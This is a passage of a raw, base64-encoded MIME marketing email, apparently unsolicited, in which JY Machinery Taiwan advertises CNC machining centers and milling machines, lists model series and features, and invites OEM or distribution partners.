OiA1IGRpZmZlcmVudCBtb2RlbHMgZm9yIHlvdXIgZGlmZmVyZW50IG5lZWRzDQo0OiBPVEhFUlMg TUFDSElORVMNClBsZWFzZSBjaGVjayB0aGUgZm9sbG93aW5nIFlvdVR1YmUgaHlwZXJsaW5rIGZv ciBzb21lIG9mIG91ciBvbi1saW5lIFBERiBicm9jaHVyZSBmb3IgcmVmZXJlbmNlIA0KIGh0dHA6 Ly95b3V0dS5iZS9MbXpSampvaXZ4cw0KDQoNCg0KIA0KTm93IEpZIE1hY2hpbmVyeSBpcyBsb29r aW5nIGZvciBHbG9iYWwgY29vcGVyYXRpb24sIEVpdGhlciBPRU0gc2VydmljZSBvciBEaXN0cmli dXRpb24sIFdlbGNvbWUNCiANClNob3VsZCBZb3VyIEV4Y2VsbGVuY3kgbmVlZCBtb3JlIGluZm9y bWF0aW9uIGFib3V0IHVzIA0KUGxlYXNlIHNlbmQgdXMgeW91ciBpbnF1aXJ5LCB3ZSB3aWxsIG9m ZmVyIHlvdSBtb3JlIGluZm9ybWF0aW9uIGZvciB5b3VyIHJlZmVyZW5jZQ0KIA0KVGhhbmtzIHlv dQ0KIA0KSlkgTWFya2V0aW5nIFRlYW0NCiANCiANCiANCg== --=====wfi_YMeL97bRZ1q_WJXTcjOiXGR3vyqe2V_===== Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PEhUTUwgeG1sbnM6byA9ICJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2Ui PjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiBodHRwLWVx dWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIG5hbWU9R0VORVJBVE9SIGNvbnRlbnQ9Ik1TSFRNTCAx MC4wMC45MjAwLjE2NTQwIj48L0hFQUQ+DQo8Qk9EWT4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHls ZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUz48bzpwPjxGT05UIGZhY2U9 Q2FsaWJyaT4mbmJzcDs8L0ZPTlQ+PC9vOnA+PC9TUEFOPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1h bCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUz48Rk9OVCBmYWNl PUNhbGlicmk+SGkgVGhlcmU8L0ZPTlQ+PC9TUEFOPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBz dHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUz48Rk9OVCBmYWNlPUNh bGlicmk+PC9GT05UPjwvU1BBTj4mbmJzcDs8L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9 Ik1BUkdJTjogMGNtIDBjbSAwcHQiPjxTUEFOIGxhbmc9RU4tVVM+PEZPTlQgZmFjZT1DYWxpYnJp Pk5pY2UgdG8gbWVldCB5b3U8L0ZPTlQ+PC9TUEFOPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBz dHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUz48Rk9OVCBmYWNlPUNh bGlicmk+V2UgZm91bmQgeW91IG9uIHRoZSBJbnRlcm5ldDwvRk9OVD48L1NQQU4+PC9QPg0KPFAg Y2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0Ij48U1BBTiBsYW5nPUVO LVVTPjxvOnA+PEZPTlQgZmFjZT1DYWxpYnJpPiZuYnNwOzwvRk9OVD48L286cD48L1NQQU4+PC9Q Pg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0Ij48Rk9OVCBm YWNlPUNhbGlicmk+PEI+PFU+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxNHB0 OyBCQUNLR1JPVU5EOiB5ZWxsb3c7IENPTE9SOiByZWQ7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTYu MHB0OyBtc28taGlnaGxpZ2h0OiB5ZWxsb3ciPkpZIE1hY2hpbmVyeSBUYWl3YW4gaXMgdGhlIG1v c3QgcHJvZmVzc2lvbmFsIG1hbnVmYWN0dXJlcyBmb3IgdGhlIFZNQywgSE1DIGFuZCBNaWxsaW5n IG1hY2hpbmU7IHdlIGhhdmUgYmVlbiBpbiB0aGlzIGZpZWxkIGZvciBtb3JlIHRoYW4gNCBkZWNh ZGVzPC9TUEFOPjwvVT48L0I+PEI+PFU+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpF OiAxNHB0OyBDT0xPUjogcmVkOyBtc28tYmlkaS1mb250LXNpemU6IDE2LjBwdCI+PG86cD48L286 cD48L1NQQU4+PC9VPjwvQj48L0ZPTlQ+PC9QPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0 ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9RU4tVVMg c3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBzaXplPTM+ Tm90IG9ubHkgd2UgaGF2ZSB0aGUgc29waGlzdGljYXRlZCBtYW51ZmFjdHVyaW5nIG1lbWJlcnMs IGJ1dCBhbHNvIHdlIGhhdmUgc3Ryb25nIFJEIHRlYW0gYW5kIHNlcnZpY2UgdGVhbSBhcyB3ZWxs LjxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0gzPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3 aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9RU4t VVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBzaXpl PTM+UGxlYXNlIGNoZWNrIG91ciBwcm9kdWN0cyBwb3J0Zm9saW9zIGZvciB5b3VyIHJlZmVyZW5j ZTxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0gzPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxl PSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IFRFWFQtSU5ERU5UOiAtMThwdDsgbXNvLWxpc3Q6 IGwwIGxldmVsMSBsZm8yIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+ PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1GQU1JTFk6ICdUYWhvbWEnLCdzYW5zLXNlcmlm JzsgQ09MT1I6ICMwMDIwNjA7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0OyBtc28tZmFyZWFz dC1mb250LWZhbWlseTogVGFob21hIj48U1BBTiBzdHlsZT0ibXNvLWxpc3Q6IElnbm9yZSI+MS48 U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4nIj4mbmJzcDsmbmJzcDsgPC9T UEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9y bWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULUZBTUlMWTogJ1RhaG9tYScsJ3NhbnMt c2VyaWYnOyBDT0xPUjogIzAwMjA2MDsgbXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPkNOQyBW ZXJ0aWNhbCBNYWNoaW5pbmcgQ2VudGVyIChCb3ggV2F5IFNlcmllczogWCB0cmF2ZWwgOiA2NjAt MjUwMG1tKTxvOnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5 bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgVEVYVC1JTkRFTlQ6IC0xOHB0OyBtc28tbGlz dDogbDAgbGV2ZWwxIGxmbzIiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFs Ij48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULUZBTUlMWTogJ1RhaG9tYScsJ3NhbnMtc2Vy aWYnOyBDT0xPUjogIzAwMjA2MDsgbXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQ7IG1zby1mYXJl YXN0LWZvbnQtZmFtaWx5OiBUYWhvbWEiPjxTUEFOIHN0eWxlPSJtc28tbGlzdDogSWdub3JlIj4y LjxTUEFOIHN0eWxlPSJGT05UOiA3cHQgJ1RpbWVzIE5ldyBSb21hbiciPiZuYnNwOyZuYnNwOyA8 L1NQQU4+PC9TUEFOPjwvU1BBTj48L0I+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBu b3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnVGFob21hJywnc2Fu cy1zZXJpZic7IENPTE9SOiAjMDAyMDYwOyBtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+Q05D IFZlcnRpY2FsIE1hY2hpbmluZyBDZW50ZXIgKExpbmVhciBXYXkgU2VyaWVzOiBYIHRyYXZlbDog NTEwLTE0MDBtbSwpPG86cD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1h bCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBURVhULUlOREVOVDogLTE4cHQ7IG1z by1saXN0OiBsMCBsZXZlbDEgbGZvMiI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBu b3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnVGFob21hJywnc2Fu cy1zZXJpZic7IENPTE9SOiAjMDAyMDYwOyBtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdDsgbXNv LWZhcmVhc3QtZm9udC1mYW1pbHk6IFRhaG9tYSI+PFNQQU4gc3R5bGU9Im1zby1saXN0OiBJZ25v cmUiPjMuPFNQQU4gc3R5bGU9IkZPTlQ6IDdwdCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5ic3A7Jm5i c3A7IDwvU1BBTj48L1NQQU4+PC9TUEFOPjwvQj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWln aHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1GQU1JTFk6ICdUYWhvbWEn LCdzYW5zLXNlcmlmJzsgQ09MT1I6ICMwMDIwNjA7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0 Ij5DTkMgSG9yaXpvbnRhbCBNYWNoaW5pbmcgQ2VudGVyIChBUEMgU2VyaWVzL1NpbmdsZSBwYWxs ZXQgU2VyaWVzKTxvOnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwg c3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgVEVYVC1JTkRFTlQ6IC0xOHB0OyBtc28t bGlzdDogbDAgbGV2ZWwxIGxmbzIiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9y bWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULUZBTUlMWTogJ1RhaG9tYScsJ3NhbnMt c2VyaWYnOyBDT0xPUjogIzAwMjA2MDsgbXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQ7IG1zby1m YXJlYXN0LWZvbnQtZmFtaWx5OiBUYWhvbWEiPjxTUEFOIHN0eWxlPSJtc28tbGlzdDogSWdub3Jl Ij40LjxTUEFOIHN0eWxlPSJGT05UOiA3cHQgJ1RpbWVzIE5ldyBSb21hbiciPiZuYnNwOyZuYnNw OyA8L1NQQU4+PC9TUEFOPjwvU1BBTj48L0I+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0 OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnVGFob21hJywn c2Fucy1zZXJpZic7IENPTE9SOiAjMDAyMDYwOyBtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+ QmVkIFR5cGUgTWlsbGluZyBNYWNoaW5lIChWSC9WVC9WIFNlcmllcy4pPG86cD48L286cD48L1NQ QU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBw dCAxOHB0OyBURVhULUlOREVOVDogLTE4cHQ7IG1zby1saXN0OiBsMCBsZXZlbDEgbGZvMiI+PEIg c3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5 bGU9IkZPTlQtRkFNSUxZOiAnVGFob21hJywnc2Fucy1zZXJpZic7IENPTE9SOiAjMDAyMDYwOyBt c28tYmlkaS1mb250LXNpemU6IDEyLjBwdDsgbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IFRhaG9t YSI+PFNQQU4gc3R5bGU9Im1zby1saXN0OiBJZ25vcmUiPjUuPFNQQU4gc3R5bGU9IkZPTlQ6IDdw dCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5ic3A7Jm5ic3A7IDwvU1BBTj48L1NQQU4+PC9TUEFOPjwv Qj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1V UyBzdHlsZT0iRk9OVC1GQU1JTFk6ICdUYWhvbWEnLCdzYW5zLXNlcmlmJzsgQ09MT1I6ICMwMDIw NjA7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij5CZWQgVHlwZSBQQy1CYXNlZCBNaWxsaW5n IE1hY2hpbmUgKFZIL1ZUL1YgU2VyaWVzLik8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAg Y2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IFRFWFQtSU5E RU5UOiAtMThwdDsgbXNvLWxpc3Q6IGwwIGxldmVsMSBsZm8yIj48QiBzdHlsZT0ibXNvLWJpZGkt Zm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1GQU1JTFk6 ICdUYWhvbWEnLCdzYW5zLXNlcmlmJzsgQ09MT1I6ICMwMDIwNjA7IG1zby1iaWRpLWZvbnQtc2l6 ZTogMTIuMHB0OyBtc28tZmFyZWFzdC1mb250LWZhbWlseTogVGFob21hIj48U1BBTiBzdHlsZT0i bXNvLWxpc3Q6IElnbm9yZSI+Ni48U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9t YW4nIj4mbmJzcDsmbmJzcDsgPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCIHN0eWxlPSJtc28t YmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULUZB TUlMWTogJ1RhaG9tYScsJ3NhbnMtc2VyaWYnOyBDT0xPUjogIzAwMjA2MDsgbXNvLWJpZGktZm9u dC1zaXplOiAxMi4wcHQiPktuZWUgVHlwZSBNaWxsaW5nIE1hY2hpbmUgKDJULzJIVC8yVkgvMlZI VC9LVC0yMDBTKSA8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFs IHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250 LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULUZBTUlMWTogJ1Rh aG9tYScsJ3NhbnMtc2VyaWYnOyBDT0xPUjogIzAwMjA2MDsgbXNvLWJpZGktZm9udC1zaXplOiAx Mi4wcHQiPjxvOnA+Jm5ic3A7PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0 UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdp bi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BB TiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDE2cHQ7IEZPTlQtRkFNSUxZOiAnVGFob21h Jywnc2Fucy1zZXJpZic7IENPTE9SOiAjMDAyMDYwIj5PRU0gc2VydmljZSBpcyBoaWdobHkgYXBw cmVjaWF0ZWQ8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5E OiB3aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9 RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBz aXplPTM+PFNQQU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVzIj4mbmJzcDs8L1NQQU4+PG86cD48 L286cD48L0ZPTlQ+PC9TUEFOPjwvSDM+DQo8SDMgc3R5bGU9IkJBQ0tHUk9VTkQ6IHdoaXRlOyBN QVJHSU46IGF1dG8gMGNtIGF1dG8gMThwdDsgTElORS1IRUlHSFQ6IDE4cHQ7IFRFWFQtSU5ERU5U OiAtMThwdDsgbXNvLWxpc3Q6IGwxIGxldmVsMSBsZm8xIj48Qj48U1BBTiBsYW5nPUVOLVVTIHN0 eWxlPSJGT05ULVNJWkU6IDE0cHQ7IEZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYn OyBDT0xPUjogcmVkOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTogQ2FsaWJyaTsgbXNvLWJpZGkt Zm9udC1mYW1pbHk6IENhbGlicmkiPjxTUEFOIHN0eWxlPSJtc28tbGlzdDogSWdub3JlIj4xLjxT UEFOIHN0eWxlPSJGT05UOiA3cHQgJ1RpbWVzIE5ldyBSb21hbiciPiZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyA8L1NQQU4+PC9TUEFOPjwvU1BBTj48L0I+PEI+PFNQQU4gbGFuZz1FTi1VUyBzdHls ZT0iRk9OVC1TSVpFOiAxNHB0OyBGT05ULUZBTUlMWTogJ0NhbGlicmknLCdzYW5zLXNlcmlmJzsg Q09MT1I6IHJlZCI+VmVydGljYWwgTWFjaGluaW5nIENlbnRlci0tLVggYXhpcyB1cCB0byAyNTAw IG1tPG86cD48L286cD48L1NQQU4+PC9CPjwvSDM+DQo8SDMgc3R5bGU9IkJBQ0tHUk9VTkQ6IHdo aXRlOyBNQVJHSU46IGF1dG8gMGNtIGF1dG8gMThwdDsgTElORS1IRUlHSFQ6IDE4cHQiPjxCPjxT UEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtU0laRTogMTRwdDsgRk9OVC1GQU1JTFk6ICdDYWxp YnJpJywnc2Fucy1zZXJpZic7IEJBQ0tHUk9VTkQ6IHllbGxvdzsgQ09MT1I6IHJlZDsgbXNvLWhp Z2hsaWdodDogeWVsbG93Ij5BOiBMaW5lYXIgV2F54oCUWCB0cmF2ZWwgZnJvbSA1MTB+MTQwMCBt bTwvU1BBTj48L0I+PEI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxNHB0OyBG T05ULUZBTUlMWTogJ0NhbGlicmknLCdzYW5zLXNlcmlmJzsgQ09MT1I6IHJlZCI+PG86cD48L286 cD48L1NQQU4+PC9CPjwvSDM+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNt IDBjbSAwcHQ7IFRFWFQtSU5ERU5UOiAyMXB0OyBtc28tY2hhci1pbmRlbnQtY291bnQ6IDEuNSI+ PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxNHB0OyBDT0xPUjogcmVkOyBtc28t YmlkaS1mb250LXNpemU6IDE2LjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPkZlYXR1cmU6PG86cD48 L286cD48L0ZPTlQ+PC9TUEFOPjwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lO OiAwY20gMGNtIDBwdDsgVEVYVC1JTkRFTlQ6IDEycHQ7IG1zby1jaGFyLWluZGVudC1jb3VudDog MS4wIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1F Ti1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2FsaWJy aT48U1BBTiBzdHlsZT0ibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOzwvU1BBTj5JOiBGaW5pdGUg ZWxlbWVudCBhbmFseXNpczxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xh c3M9TXNvTGlzdFBhcmFncmFwaCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28t cGFyYS1tYXJnaW4tbGVmdDogMGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5v cm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQi PjxGT05UIGZhY2U9Q2FsaWJyaT5JSTogVGhlIGV4dHJhLXdpZGUgYW5kIGV4dHJlbWVseSBzdGFi bGUgYmFzZSBoYXMgNCBMaW5lYXIgd2F5cyBwcm92aWRpbmcgc29saWQgc3VwcG9ydCBmb3IgdGhl IGVudGlyZSBtYWNoaW5lLiA8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNs YXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNv LXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBu b3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0 Ij48Rk9OVCBmYWNlPUNhbGlicmk+SUlJOiBYLCB5IGF4aXMgd2l0aCA0IGFuZCA2IGJsb2NrcyBv biBMaW5lYXIgR3VpZGUgd2F5ICg4NTAvMTAwMCkuIDxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48 L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFncmFwaCBzdHlsZT0iTUFSR0lOOiAwY20gMGNt IDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVmdDogMGdkIj48QiBzdHlsZT0ibXNvLWJpZGkt Zm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0ibXNvLWJpZGktZm9u dC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2FsaWJyaT5JVjogWCwgWSBheGlzIHdpdGggNiBh bmQgOCBibG9ja3Mgb24gTGluZWFyIEd1aWRlIHdheSAoMTIwMC8xNDAwKS48bzpwPjwvbzpwPjwv Rk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1B UkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5 bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9 Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+VjogSGlnaCBz cGVlZCBhbmQgcHJlY2lzaW9uIGJhbGwgc2NyZXcuPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwv Qj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20g MHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1m b250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250 LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPlZJOiBIaWdoIHJpZ2lkaXR5IHNwaW5k bGUuPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFy YWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1s ZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBs YW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1D YWxpYnJpPlZJSTogU3RhYmlsaXR5IEFUQyBzeXN0ZW0uIChBdXRvIHRvb2wgY2hhbmdlKTxvOnA+ PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0 ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9RU4tVVMg c3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBzaXplPTM+ PFNQQU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVzIj4mbmJzcDsmbmJzcDsgPC9TUEFOPjxvOnA+ PC9vOnA+PC9GT05UPjwvU1BBTj48L0gzPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0ZTsg TUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxVPjxTUEFOIGxhbmc9RU4tVVMg c3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBzaXplPTM+ TU9ERUxTOjxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L1U+PC9IMz4NCjxIMyBzdHlsZT0iQkFD S0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY207IExJTkUtSEVJR0hUOiAxOHB0OyBURVhU LUlOREVOVDogMThwdDsgbXNvLWNoYXItaW5kZW50LWNvdW50OiAxLjUiPjxTUEFOIGxhbmc9RU4t VVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBzaXpl PTM+PFNQQU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVzIj4mbmJzcDs8L1NQQU4+TW9kZWwgMTog WCBheGlzIHRyYXZlbDogNTEwfjcxMCBtbTxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0gzPg0K PEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlH SFQ6IDE4cHQiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScs J3NhbnMtc2VyaWYnIj48Rk9OVCBzaXplPTM+PFNQQU4gc3R5bGU9Im1zby1zcGFjZXJ1bjogeWVz Ij4mbmJzcDsmbmJzcDsmbmJzcDsgPC9TUEFOPk1vZGVsIElJOiBYIGF4aXMgdHJhdmVsOiA3NjAg bW0gd2l0aCBBUEM8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9IMz4NCjxIMyBzdHlsZT0iQkFD S0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY207IExJTkUtSEVJR0hUOiAxOHB0OyBURVhU LUlOREVOVDogMjRwdDsgbXNvLWNoYXItaW5kZW50LWNvdW50OiAyLjAiPjxTUEFOIGxhbmc9RU4t VVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBzaXpl PTM+TW9kZWwgSUlJOiBYIGF4aXMgdHJhdmVsOiA4NTAgbW08bzpwPjwvbzpwPjwvRk9OVD48L1NQ QU4+PC9IMz4NCjxIMyBzdHlsZT0iQkFDS0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY207 IExJTkUtSEVJR0hUOiAxOHB0OyBURVhULUlOREVOVDogMjRwdDsgbXNvLWNoYXItaW5kZW50LWNv dW50OiAyLjAiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScs 